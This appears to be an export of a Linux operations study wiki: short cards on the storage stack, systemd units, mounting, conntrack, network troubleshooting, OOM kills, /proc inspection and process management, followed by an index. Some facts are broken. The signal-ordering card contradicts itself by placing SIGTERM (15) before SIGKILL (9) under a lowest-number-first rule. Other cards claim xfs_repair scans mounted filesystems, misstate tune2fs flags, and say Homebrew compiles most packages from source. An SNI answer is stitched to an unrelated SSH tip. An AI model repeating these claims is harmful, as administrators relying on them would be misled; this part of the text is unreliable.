A storage device is a sequence of layers, each transforming what the layer below provides into something usable above. A disk (e.g. <html><code>/dev/sda</code></html>) is a raw block device with no structure. A partition divides a disk into regions; a partition table (GPT or MBR) maps ranges to partition devices (<html><code>/dev/sda1</code></html>). Partitioning is optional but ubiquitous. LVM (Logical Volume Manager) is an optional abstraction layer: Physical Volumes (whole disks or partitions) combine into Volume Groups, which carve out resizable Logical Volumes. LVM enables online resizing and snapshots; without it, expanding storage requires unmounting and recreating partitions. A filesystem (ext4, xfs, btrfs) organizes blocks into files and directories, creating POSIX semantics on top of raw blocks. Finally, mounting attaches a filesystem to a directory in the kernel's VFS namespace, making it accessible at a path. Each layer is independent: you can skip partitions, or skip LVM, but you always need a filesystem and a mount. Understanding the stack explains why <html><code>lvextend</code></html> (LVM operation) and <html><code>resize2fs</code></html> (filesystem operation) are separate commands — they operate on different layers.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/storage-stack.md</code></html>
''Related atoms''
* [[Describe the Linux storage stack from application down to hardware.]]
* [[To LVM or not to LVM. What benefits does it provide?]]
A systemd unit file declares a resource to manage: a service, socket, timer, mount, etc. Unit files exist independently of whether the service is running. <html><code>systemctl start</code></html> and <html><code>systemctl stop</code></html> control the current runtime state — whether the service is running now. <html><code>systemctl enable</code></html> and <html><code>systemctl disable</code></html> control whether the service starts automatically at boot. These are orthogonal: a service can be enabled (starts at boot) but not running (stopped manually), or running (just started) but not enabled (will not survive a reboot). Dependencies are expressed through two separate axes: <html><code>Wants=</code></html> and <html><code>Requires=</code></html> declare what must be available; <html><code>After=</code></html> and <html><code>Before=</code></html> declare ordering. A service can want a network to exist (<html><code>Wants=network-online.target</code></html>) and order itself after the network (<html><code>After=network-online.target</code></html>), separate declarations with distinct meanings. Understanding these as separate orthogonal dimensions — runtime state, boot enablement, dependency requirements, and ordering — prevents confusion when debugging service startup sequences or unexpected reboots.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/systemd-units.md</code></html>
''Related atoms''
* [[systemctl enable vs start: boot persistence vs immediate activation]]
* [[What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?]]
Systemd units are declarative INI-style configs in <html><code>/etc/systemd/system/</code></html> that tell systemd what to manage and how. Unit types include service (a process with lifecycle and restart rules), target (a grouping point, like old runlevels), timer (cron replacement), socket (socket activation), mount (filesystem mount), and others.
The core mental model is two independent pairs of concepts. First: enable and start are separate operations. Starting or stopping a unit changes its runtime state //right now//—transient, lost on reboot unless enabled. Enabling creates a symlink in a target's <html><code>.wants/</code></html> directory, controlling whether it auto-starts at boot, but does //not// affect current state. Expect <html><code>systemctl enable nginx</code></html> to not start the service immediately; run <html><code>systemctl start</code></html> separately, or use <html><code>systemctl enable --now</code></html> to combine both.
Second: dependency and ordering are independent. <html><code>Wants=</code></html> (weak) and <html><code>Requires=</code></html> (hard) express //dependency//—whether one unit pulls in another. <html><code>After=</code></html> and <html><code>Before=</code></html> express //ordering//—sequencing of starts. Neither implies the other. <html><code>Wants=B</code></html> without <html><code>After=B</code></html> starts B if possible but may run before B is ready. The common pattern is <html><code>Wants=B.service</code></html> //and// <html><code>After=B.service</code></html>: depend and sequence. Using <html><code>Requires=</code></html> without <html><code>After=</code></html> causes races: both units start in parallel.
Always run <html><code>systemctl daemon-reload</code></html> after editing unit files. Common mistakes: expecting enable to start immediately, using Requires without After (race conditions), thinking Wants guarantees ordering, and confusing restart (stop+start) with reload (SIGHUP, no stop).
----
''Sources''
* <html><code>training/library/topics/mental-models-core/systemd-units.md</code></html>
''Related atoms''
* [[How to start or stop a service?]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
A mount attaches a filesystem to a directory (the mount point) in the VFS tree. The kernel tracks mounts internally; userspace sees them via <html><code>/proc/mounts</code></html> (authoritative kernel view) and <html><code>/etc/mtab</code></html> (legacy, often a symlink to <html><code>/proc/mounts</code></html>). The mount point directory must exist before mounting. Mounting over a non-empty directory hides its contents until unmount. A single device can be mounted at multiple points simultaneously. Basic mounting: <html><code>mount /dev/sdb1 /mnt/data</code></html> or with explicit type: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. Unmounting: <html><code>umount /mnt/data</code></html> (standard), <html><code>umount -l /mnt/data</code></html> (lazy—detaches immediately, cleans up when no longer busy). Standard unmount requires that nothing is actively using the mount.
----
''Sources''
* <html><code>training/library/topics/mounts-filesystems/primer.md</code></html>
''Related atoms''
* [[What is lazy umount in Linux and when would you use it?]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[When would you remount a filesystem read-only on a running system, and how?]]
When a filesystem develops errors, the immediate risk is that further writes will corrupt data. Use <html><code>mount -o remount,ro</code></html> to switch the mount to read-only without unmounting, halting all new writes while preserving access for reads and diagnostics. Once read-only, run filesystem checks like <html><code>fsck -y</code></html> (ext4) or <html><code>xfs_repair</code></html> safely without the filesystem being simultaneously modified. After repair completes, remount with <html><code>mount -o remount,rw</code></html> to resume normal operation. For the root filesystem during boot or emergency scenarios, boot into recovery mode or a live environment, then remount the root with <html><code>mount -o remount,rw /</code></html> to make it writable again.
----
''Sources''
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
''Related atoms''
* [[When would you remount a filesystem read-only on a running system, and how?]]
* [[Test fstab changes with mount -a before rebooting]]
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
ext4 filesystems track mount count and last-check timestamp in superblock metadata. Query this with <html><code>tune2fs -l</code></html> to see whether a filesystem has been checked recently or is approaching its scheduled check interval. You can also force a check on next reboot with <html><code>tune2fs -C</code></html> to set mount count or <html><code>-c</code></html> to set the recheck interval. XFS is more flexible: <html><code>xfs_repair -n</code></html> performs a non-destructive scan on a mounted filesystem, checking for corruption without requiring unmount or maintenance mode. The <html><code>-n</code></html> (dry-run) flag is especially useful for production systems to assess health without risk.
----
''Sources''
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
''Related atoms''
* [[What is `fsck`?]]
* [[Filesystem mount options control durability guarantees; databases need explicit sync or journal]]
* [[Validate fstab syntax changes before reboot to avoid emergency mode]]
Linux NAT state is maintained in the kernel's conntrack table, which tracks active connections for address/port translation. The default maximum is often 65,536 entries, far too small for busy gateways. When the table fills, new connections are silently dropped with no error message—packets simply vanish. Tuning <html><code>nf_conntrack_max</code></html> and TCP timeout parameters is essential for production NAT gateways. Without monitoring, exhaustion is invisible until users report connectivity loss.
----
''Sources''
* <html><code>training/library/topics/nat/trivia.md</code></html>
''Related atoms''
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
* [[What is the `conntrack` command?]]
Network problems span multiple layers, and troubleshooting is most efficient when you traverse layers systematically. Layer 1 (Physical): verify the cable is plugged in and the link LED is illuminated (use <html><code>ethtool eth0 | grep 'Link detected'</code></html>). Layer 2 (Data Link): check if the MAC address table shows the peer and if ARP is working (<html><code>ip neigh show</code></html> and <html><code>arping</code></html>). Layer 3 (Network): verify routing by pinging the default gateway, then pinging the destination, and inspecting the routing table (<html><code>ip route show</code></html>). Layer 4 (Transport): confirm the service is listening on the expected port (<html><code>ss -tlnp</code></html>) and test connectivity to the port (<html><code>curl -v http://dest:port</code></html>). Separately, test DNS resolution (<html><code>dig hostname</code></html>) and bypass the local resolver if needed (<html><code>dig @8.8.8.8 hostname</code></html>). This structured approach avoids the common mistake of randomly testing without understanding which layer the problem occupies.
----
''Sources''
* <html><code>training/library/topics/networking/primer.md</code></html>
The legacy <html><code>net-tools</code></html> package (<html><code>ifconfig</code></html>, <html><code>route</code></html>, <html><code>arp</code></html>, <html><code>netstat</code></html>) is deprecated and often absent from modern Linux distributions, especially minimal and container images. The modern replacement is <html><code>iproute2</code></html>, which provides more powerful and consistent tools: <html><code>ip</code></html> replaces <html><code>ifconfig</code></html>/<html><code>route</code></html>/<html><code>arp</code></html>, <html><code>ss</code></html> replaces <html><code>netstat</code></html>, <html><code>dig</code></html> replaces <html><code>nslookup</code></html>, <html><code>mtr</code></html> provides continuous traceroute plus ping, <html><code>tcpdump</code></html> captures packets, <html><code>ethtool</code></html> inspects NIC settings and diagnostics, and <html><code>nmcli</code></html> manages NetworkManager configuration. Any script using <html><code>ifconfig</code></html> or <html><code>netstat</code></html> will break on minimal installations. When writing networking tools or deployment scripts, always use the iproute2 equivalents to ensure portability. If you find yourself in an environment missing these tools, they can be installed via the <html><code>iproute2</code></html> package, but in containerized deployments, base images often lack them entirely, requiring installation in the Dockerfile.
----
''Sources''
* <html><code>training/library/topics/networking/primer.md</code></html>
''Related atoms''
* [[ifconfig deprecated in 2009 but remained default until ~2017]]
* [[Why is the `ip` command preferred over `ifconfig`?]]
* [[What replaces `ifconfig` in the ip command suite?]]
The <html><code>ip route add</code></html> command modifies the kernel's routing table in memory. It works immediately. Testing confirms: packets flow to the new destination. You close the ticket. The server reboots for a kernel update the following week. The route is gone. Traffic fails. Nobody connects the outage to the route change from weeks ago because the outage seemed unrelated.
Kernel state is ephemeral. Configuration is persistent. The <html><code>ip</code></html> command changes ephemeral state. To persist routes across reboots, you must edit configuration files—and the location and format depends on the system: <html><code>/etc/sysconfig/network-scripts/route-eth0</code></html> (RHEL/CentOS), netplan YAML (Ubuntu), or <html><code>.network</code></html> files (systemd-networkd). Most operators know the <html><code>ip</code></html> syntax but forget which persistence mechanism their system uses.
Always persist immediately after testing. Add the route with <html><code>ip route add</code></html>, then write it to the configuration file. Verify the file exists and contains the route. Do not rely on memory to persist it later. On RHEL/CentOS: <html><code>echo '10.20.0.0/16 via 192.168.1.1' >> /etc/sysconfig/network-scripts/route-eth0</code></html> and <html><code>systemctl restart network</code></html>. On systemd-networkd: edit <html><code>/etc/systemd/network/*.network</code></html> and <html><code>systemctl restart systemd-networkd</code></html>.
----
''Sources''
* <html><code>training/library/topics/networking-troubleshooting/footguns.md</code></html>
''Related atoms''
* [[You would like to enable IPv4 forwarding in the kernel, how would you do it?]]
lsof -i shows all open network connections at the process level: which PID owns which socket, the connection state (LISTEN, ESTABLISHED, SYN_RECV), and the remote peer. It complements <html><code>ss</code></html> by adding file-descriptor-level detail and process context, invaluable for identifying unexpected outbound connections, determining which process is bound to a contested port, or tracing connection leaks. Filtering by port (<html><code>lsof -i :443</code></html>), host (<html><code>lsof -i @10.0.0.5</code></html>), or state (<html><code>lsof -i TCP:ESTABLISHED</code></html>) focuses results for rapid diagnosis.
----
''Sources''
* <html><code>training/library/topics/networking-troubleshooting/tools-reference.md</code></html>
''Related atoms''
* [[Find which process is listening on a port]]
* [[Use /proc/net/tcp and ss to see a process's active network connections]]
* [[What does `lsof` do?]]
After cordoning and draining a node, SSH to it and apply OS updates with <html><code>apt-get update && apt-get upgrade -y</code></html>. If the kernel package is updated, the node must be rebooted for the new kernel to take effect. After rebooting, the kubelet will restart automatically and rejoin the cluster — monitor with <html><code>kubectl get nodes -w</code></html> until the node is Ready again. Only then uncordon the node to allow new pods to schedule. The key lesson is that node rejoin is automatic; there is no manual reset required. If the node stays in NotReady after rejoin, check <html><code>journalctl -u kubelet</code></html> on the node for service errors.
----
''Sources''
* <html><code>training/library/topics/node-maintenance/street_ops.md</code></html>
When the kernel's OOM killer terminates a process, it sends SIGKILL, which cannot be caught or handled gracefully. The process exits with code 137, which equals 128 + 9 (SIGKILL signal number). This is the clearest diagnostic marker for an OOMKill event. Unlike exit code 143 (128 + 15, SIGTERM), which indicates a graceful shutdown, an exit code of 137 means the process had no opportunity to clean up, flush buffers, or close connections. In Kubernetes, you can identify OOMKilled pods by checking <html><code>lastState.terminated.reason</code></html> in <html><code>kubectl describe pod</code></html> output or by querying the pod's status JSON. Because the kernel kills immediately without notification, there is no final log line — the container simply stops. Monitoring for exit code 137 is the most reliable way to catch OOM events in practice.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/k8s-troubleshooting.tsv</code></html>
* <html><code>training/library/topics/oomkilled/trivia.md</code></html>
* <html><code>training/library/topics/oomkilled/street_ops.md</code></html>
* <html><code>training/library/topics/oomkilled/primer.md</code></html>
//Merged from 4 source atoms.//
When the cgroup OOM killer activates, it writes a detailed message to the kernel ring buffer visible via <html><code>dmesg</code></html> or the node's syslog. This message includes the killed process name, its resident set size, the cgroup path, the memory limit, and a table of every other process in the cgroup with their individual memory usage. This information does not appear in <html><code>kubectl logs</code></html>, <html><code>kubectl describe pod</code></html>, or the application's own logs — only in the kernel ring buffer. Any investigation of an OOMKilled pod that does not check the node's <html><code>dmesg</code></html> is incomplete, because the application-level logs cannot see the kernel's decision.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/footguns.md</code></html>
* <html><code>training/library/topics/containers-deep-dive/trivia.md</code></html>
* <html><code>training/library/topics/oomkilled/trivia.md</code></html>
//Merged from 3 source atoms.//
A process killed by the OOM killer exits with status code 137, which equals 128 + 9 (where 9 is the POSIX signal SIGKILL). SIGKILL is special: it cannot be caught, blocked, or ignored. The process receives no warning and has no opportunity to clean up—no <html><code>finally</code></html> block in Java, no context cleanup in Go, no destructors in C++. The kernel kills the process instantly. This is why the last log line before an OOM kill often has nothing to do with the actual cause—the application was mid-operation when the kernel terminated it. Post-mortem analysis is frustrating because there is no "death message" from the application, only the sudden absence of log output. Monitoring exit codes is a reliable way to detect OOMKills in CI/CD pipelines and container orchestration logs.
----
''Sources''
* <html><code>training/library/topics/oomkilled/trivia.md</code></html>
''Related atoms''
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[dmesg contains the definitive OOM killer diagnostic information]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
Homebrew, created by Max Howell for macOS in 2009, gained official Linux support starting in 2019 under the "Linuxbrew" brand. On Linux systems, Homebrew installs packages to <html><code>~/.linuxbrew/</code></html> or <html><code>/home/linuxbrew/.linuxbrew/</code></html> without requiring root access. This fills a practical niche for developers who need newer software versions than their distribution provides but lack sudo access on shared systems. Homebrew on Linux compiles most packages from source, making it slower than system package managers but offering up-to-date versions. It is commonly used in development environments and containerized builds where you control the image and prefer fresh toolchain versions over stable, battle-tested releases.
----
''Sources''
* <html><code>training/library/topics/package-management/trivia.md</code></html>
''Related atoms''
* [[True or False? In order to install packages on the system you must have root privileges.]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[What is a Linux distribution (distro)?]]
Running <html><code>perf record</code></html> on a stripped binary produces profiles with hex addresses instead of function names, rendering the output unreadable — you cannot tell which function is consuming CPU. Binaries are stripped when compiled with the <html><code>-s</code></html> flag or post-processed by a strip tool to remove symbol information. Fix: install debug symbol packages before profiling. On Debian/Ubuntu: <html><code>apt install libc6-dbg linux-image-$(uname -r)-dbgsym</code></html>. For Go binaries: compile with <html><code>go build -gcflags='-N -l'</code></html> to disable inlining and optimization. For C/C++: compile with <html><code>-g</code></html> and do not strip. For production binaries that must remain stripped, keep separate debug symbol files and pass them to perf with <html><code>--symfs</code></html> to restore readable profiles.
----
''Sources''
* <html><code>training/library/topics/perf-profiling/footguns.md</code></html>
''Related atoms''
* [[How to debug binaries?]]
* [[An application encounters some performance issues. You should to find the code we have …]]
When a service is slow and logs show nothing wrong, logs cannot answer the essential question: where is CPU time actually going? perf answers what logs never will: which function is burning cycles, whether the bottleneck is in userspace or kernel, and whether the system is CPU-bound or I/O-bound waiting. A five-second <html><code>perf top</code></html> session reveals what hours of log reading cannot. perf works on any compiled or interpreted language on Linux because it samples at the CPU level rather than requiring application instrumentation. Understanding perf also builds intuition about Linux execution itself — cache behavior, context switch costs, and syscall overhead become concrete numbers instead of abstract concepts. For production performance debugging, perf is often the first tool that gives real data instead of theories.
----
''Sources''
* <html><code>training/library/topics/perf-profiling/primer.md</code></html>
''Related atoms''
* [[What is perf?]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[What is the `perf top` command?]]
PowerShell is available via package managers on Linux (apt-get for Ubuntu/Debian, yum for RHEL/CentOS). The cross-platform edition <html><code>pwsh</code></html> exposes most cloud and REST-based cmdlets. Notably, Windows-specific cmdlets (Get-Service, Get-EventLog) do not work on Linux — they depend on Windows APIs. However, Azure, REST, and file-system cmdlets work identically on Linux and Windows, making <html><code>pwsh</code></html> useful as a common operational shell on jumpboxes or CI/CD agents where you need to manage Azure infrastructure, query APIs, or script file operations without dependency on Windows.
----
''Sources''
* <html><code>training/library/topics/powershell/primer.md</code></html>
A typo in a command path causes unintended damage to system files that a regular user could not have touched. Root access removes the permission boundary that normally catches mistakes. Prevention: use sudo for specific commands and disable direct root SSH login. This error appears in the postmortem as the root cause of the cascade—fixing it upstream would have limited blast radius.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
''Related atoms''
* [[Running as root amplifies blast radius of operator error]]
The new configuration is wrong, but the original content is lost and manual reconstruction is required. Prevention: always <html><code>cp file file.bak</code></html> before editing and use version control for config files. This postmortem framing emphasizes the consequence: not just that the change was wrong, but that recovery requires manual work.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
''Related atoms''
* [[In-place config edits without backup cause irrecoverable loss]]
Production data is destroyed; recovery requires restoring from backup (if one exists). Prevention: double-check targets for destructive commands and use --dry-run where available. This postmortem emphasizes the irreversibility: once data is gone, the only path forward is backup restore.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
''Related atoms''
* [[Typos in destructive commands cause irreversible data loss]]
* [[Operational shortcuts in Linux escalate to severe incidents]]
When a process consumes CPU mysteriously or doesn't respond, <html><code>/proc/$PID/stack</code></html> shows the exact kernel call stack—which syscall the process is blocked on (futex_wait, epoll_wait, read, write, etc.). <html><code>/proc/$PID/wchan</code></html> provides a one-word summary of the wait channel. For multithreaded processes, each thread has its own stack; check <html><code>/proc/$PID/task/*/stack</code></html> to see which threads are blocked where. The state field in <html><code>/proc/$PID/status</code></html> reveals the process state: <html><code>D</code></html> (disk sleep) means waiting on I/O and cannot be killed with SIGTERM—usually a sign of NFS hang, disk failure, or broken kernel driver. <html><code>S</code></html> (interruptible sleep) means waiting on a lock or event. <html><code>R</code></html> (running) means actively consuming CPU. A process in <html><code>D</code></html> state that will not exit is a red flag: it indicates the system or a driver is in a broken state and the process is stuck waiting for I/O that will never complete.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[How do you debug a hung process?]]
To see which sockets a process has open, you can read <html><code>/proc/net/tcp</code></html> (IPv4) or <html><code>/proc/net/tcp6</code></html> (IPv6) and match socket inode numbers from <html><code>/proc/$PID/fd/</code></html>, but manual hex decoding is tedious and error-prone. The simpler approach is <html><code>ss -tnp | grep "pid=$PID"</code></html>, which shows all TCP connections for that process: state, local address, remote address, and the FD number. This is much faster and works for any process without requiring elevated privileges to parse another process's <html><code>/proc/</code></html> files (the kernel handles the access control). Use this to verify that a service is listening on the expected ports, identify unexpected outbound connections, or diagnose connection leaks (sockets in CLOSE_WAIT state waiting for the remote end to close).
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[lsof -i shows open network connections at process level]]
* [[Find which process is listening on a port]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
Kernel parameters in <html><code>/proc/sys/</code></html> can be read and written immediately, taking effect without a reboot. However, changes are lost on the next reboot. Common emergency tunings: increase <html><code>net.netfilter.nf_conntrack_max</code></html> when connection tracking fills up and drops packets; enable <html><code>net.ipv4.tcp_tw_reuse</code></html> to reduce socket exhaustion during high-connection churn; widen <html><code>net.ipv4.ip_local_port_range</code></html> to allow more outbound connections; reduce <html><code>vm.swappiness</code></html> to prioritize keeping application memory in RAM over swapping. To persist changes across reboots, write a file like <html><code>/etc/sysctl.d/99-tuning.conf</code></html> with the setting (e.g., <html><code>net.netfilter.nf_conntrack_max = 262144</code></html>). Use a numbered filename like <html><code>99-</code></html> so your settings load last and override defaults. The discipline is: tune immediately in an outage for fast recovery, but always add the persistent entry afterward. Without persistence, the problem recurs on the next reboot, wasting the lesson.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[Server tuning: connection limits, socket buffers, congestion control]]
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
<html><code>/proc/cpuinfo</code></html> lists CPU flags (aes, avx, avx2, sse4_2, vmx, svm, rdrand, etc.) that indicate hardware capabilities. Use <html><code>grep vmx /proc/cpuinfo</code></html> to check for Intel VT-x (vmx) or AMD-V (svm) virtualization support; the presence of these flags determines whether a system can run nested VMs. <html><code>/sys/devices/system/cpu/vulnerabilities/</code></html> contains files for each known CPU vulnerability (meltdown, spectre_v1, spectre_v2, mds, l1tf, tsx_async_abort), showing the current mitigation status. This is essential for assessing whether a system is vulnerable to microarchitectural attacks (Spectre, Meltdown, etc.) and what hardware or software mitigations are active. Container orchestrators, security compliance policies, and performance-sensitive workloads often require checking these; understanding them prevents surprises during audits or when deploying crypto-heavy applications that benefit from hardware acceleration (aes, rdrand).
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[What does `/proc/cpuinfo` contain?]]
* [[The 60-second performance triage checklist covers all four resources]]
<html><code>/proc/$PID/io</code></html> contains counters: <html><code>read_bytes</code></html> and <html><code>write_bytes</code></html> show the total amount of data the process has read from and written to disk since it started. <html><code>rchar</code></html> and <html><code>wchar</code></html> count system calls (read(), write()); compare these to read_bytes and write_bytes to detect whether writes are hitting the page cache (wchar >> write_bytes) or actually going to disk (wchar ≈ write_bytes). Sample the file twice with a known time interval to calculate I/O rate. This is invaluable for identifying which process is hammering the disk during high-load periods or for justifying resource upgrades to stakeholders. Combine with <html><code>iotop</code></html> or <html><code>iostat</code></html> for a complete picture of disk usage.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[What does `pidstat` show?]]
* [[/proc filesystem exposes detailed system and process state]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
<html><code>/proc/$PID/status</code></html> gives a quick summary (VmSize, VmRSS, VmSwap, RssAnon, RssFile, RssShmem), but <html><code>/proc/$PID/smaps</code></html> breaks down memory by region: address range, permissions, backing file, size, and RSS per region. This reveals which large allocations are responsible for high memory usage—anonymous regions (heap, stack, malloc), file-backed regions (shared libraries, mmap files), or shared memory. Monitoring VmRSS over time reveals memory leaks: if RSS grows monotonically despite stable application behavior, object leaks or heap fragmentation is accumulating. Sorting smaps regions by RSS shows immediately which allocations dominate: <html><code>awk '/^[0-9a-f]/{region=$0} /^Rss:/{print $2, region}' /proc/$PID/smaps | sort -rn</code></html>. This is invaluable for debugging "mysterious" high memory usage, proving to stakeholders that memory is legitimate (not a leak), or identifying specific allocation sites that need optimization.
----
''Sources''
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
''Related atoms''
* [[What does `/proc/PID/smaps` show?]]
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
Every service deployed, every container run, every script executed — all are processes. When production systems fail, the cause is almost always rooted in process behavior: a zombie consuming a PID slot and preventing new processes from starting, a process stuck in D-state (uninterruptible kernel call) that blocks a filesystem mount, an orphan leaking file descriptors until the FD limit is exhausted, or signal handlers misconfigured so graceful shutdown never completes. Without the ability to read and interpret process state, debugging Linux systems is blind guesswork. Understanding process management is not about memorizing signal numbers or cgroup flags. It is about grasping how the kernel manages work, how parent-child relationships define cleanup responsibility and resource limits, and how to intervene surgically when something breaks. Most outages have a process fingerprint — stale zombies, runaway memory consumption, leaked file descriptors — waiting in ps or /proc.
----
''Sources''
* <html><code>training/library/topics/process-management/primer.md</code></html>
''Related atoms''
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[Can you describe how processes are being created?]]
Process creation in Unix and Linux does not use a dedicated "create process" system call. Instead, fork() — conceived in 1963 by Melvin Conway for the L-language on UNIVAC and adopted by Ken Thompson for Unix in 1969 — remains the foundational mechanism. The fork/exec model, where fork copies the parent process and exec replaces its memory with a new program, has remained Linux's primary process creation method for over 50 years. This design elegantly decouples process creation (fork) from program loading (exec), allowing a parent to manipulate file descriptors and environment between the two. No other major OS uses this pattern; it is distinctly Unix.
----
''Sources''
* <html><code>training/library/topics/process-management/trivia.md</code></html>
''Related atoms''
* [[What happens during fork() vs exec()?]]
* [[Name one reason for fork() to fail]]
* [[What is the clone() system call?]]
The default maximum number of processes (PIDs) on Linux is 32,768, a 15-bit limit inherited from older Unix systems. Since Linux 2.6, this limit is tunable via the kernel parameter kernel.pid_max, which can be raised to 4,194,304 (2^22). Systems running containerized workloads often need to increase this limit because all processes — whether running on the host or inside containers — consume PIDs from a single host-wide pool. A Kubernetes node running 100 pods with an average of 50 processes per pod consumes at least 5,000 PIDs. Without increasing kernel.pid_max, such a node would hit the default limit quickly and be unable to launch additional processes or containers. The limit is set via sysctl: <html><code>sysctl -w kernel.pid_max=4194304</code></html>.
----
''Sources''
* <html><code>training/library/topics/process-management/trivia.md</code></html>
cgroups v2 introduced the cgroup.kill file (Linux 5.14, 2021), which atomically terminates all processes in a cgroup by writing "1" to it. Before this feature, killing all processes in a cgroup required iterating over processes one by one — an inherently racy operation. Between each read and kill, new processes could be forked by existing ones, and the iteration might miss them entirely. This made container cleanup unreliable at scale. The atomic kill operation is performed by the kernel in a single uninterruptible step, guaranteeing that all current members of the cgroup are terminated and no new ones can appear mid-cleanup. Container runtimes (Docker, containerd, CRI-O) now use this facility for reliable shutdown.
----
''Sources''
* <html><code>training/library/topics/process-management/trivia.md</code></html>
''Related atoms''
* [[cgroups: Google's solution for resource isolation on shared fleets]]
When multiple different signals arrive for a process before it has a chance to handle any of them, the kernel does not queue them in arrival order. Instead, it delivers signals in numeric order, lowest number first. SIGHUP (1) is delivered before SIGTERM (15), which is delivered before SIGKILL (9) — regardless of which was sent first. This creates an unexpected ordering that can break naive signal-handling code. Real-time signals (32-64) are different: they are queued individually and delivered in order. Standard signals (1-31) are not queued — if the same standard signal is sent twice before the handler runs, the process only sees it once. Understanding this distinction matters when deploying multi-signal graceful-shutdown sequences.
----
''Sources''
* <html><code>training/library/topics/process-management/trivia.md</code></html>
''Related atoms''
* [[Signals are notifications with three possible outcomes per process]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
The directory /proc/[pid]/fd/ contains one symbolic link per open file descriptor in a process. Each link points to the actual file, socket, or device the process has open. Running <html><code>ls -la /proc/[pid]/fd/</code></html> is invaluable for troubleshooting: when a process reports "too many open files" (EMFILE), you can inspect exactly which files it has open and identify leaks. You can also discover which log files a daemon writes to, which network sockets it listens on, or which mount point caused a hung process. The lsof (list open files) command reads this information and adds significant overhead on systems with many processes; direct inspection of /proc/[pid]/fd/ is faster.
----
''Sources''
* <html><code>training/library/topics/process-management/trivia.md</code></html>
''Related atoms''
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
* [[/proc filesystem exposes detailed system and process state]]
Q: What is SNI (Server Name Indication)?
A: [[Wikipedia|https://en.wikipedia.org/wiki/Server_Name_Indication]]: "an extension to the Transport Layer Security (TLS) computer networking protocol by which a client indicates which hostname it is attempting to connect to at the start of the handshaking process"
Remember: "SSH hardening: disable password auth, use keys, change default port, use fail2ban."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
Q: What is the principle of least privilege?
A: Every user, service, and process should have the minimum permissions required to do its job — nothing more. This applies to user accounts, service accounts, processes, network ports, and time-limited access.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Overloading the nobody user violates least-privilege isolation]]
!! MOC — compendium q&a
Every atom extracted from a ''compendium-qa'' source (735 total).
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[Describe the TCP three-way handshake.]]
* [[How can you detect if you're inside a container?]]
* [[How do RHEL and Ubuntu differ in their default security stack?]]
* [[How do you change the I/O scheduler for a block device?]]
* [[How do you check the current SELinux mode?]]
* [[How do you check why a service failed?]]
* [[How do you count occurrences of a word in a file using command-line tools?]]
* [[How do you create a virtual Ethernet pair (veth)?]]
* [[How do you create an LVM logical volume?]]
* [[How do you define a Bash array?]]
* [[How do you define a Bash associative array?]]
* [[How do you delete lines with sed?]]
* [[How do you enter GRUB rescue mode?]]
* [[How do you find which package provides a file on Debian?]]
* [[How do you harden SSH?]]
* [[How do you interpret load average?]]
* [[How do you list active systemd timers?]]
* [[How do you list all installed packages on Debian/Ubuntu?]]
* [[How do you list all installed packages on RHEL/Fedora?]]
* [[How do you lock a user account?]]
* [[How do you override part of a unit file without modifying the original?]]
* [[How do you perform a basic sed substitution?]]
* [[How do you persist journald logs across reboots?]]
* [[How do you persistently set a static IP on RHEL 9?]]
* [[How do you rebuild an RPM package?]]
* [[How do you regenerate the initramfs on RHEL/Fedora vs Debian/Ubuntu?]]
* [[How do you send a message to syslog from the command line?]]
* [[How do you set a capability on a file?]]
* [[How do you set a default ACL on a directory?]]
* [[How do you set the default systemd target?]]
* [[How do you temporarily change SELinux mode?]]
* [[How do you view only error-level journal entries?]]
* [[How does Debian name its releases?]]
* [[How does GPG key verification work for packages?]]
* [[How does Ubuntu version numbering work?]]
* [[How does `find -exec` work?]]
* [[How does chmod octal notation work?]]
* [[How does chmod symbolic notation work?]]
* [[How does systemd integrate with cgroups?]]
* [[How many lines of code are in a modern Linux kernel?]]
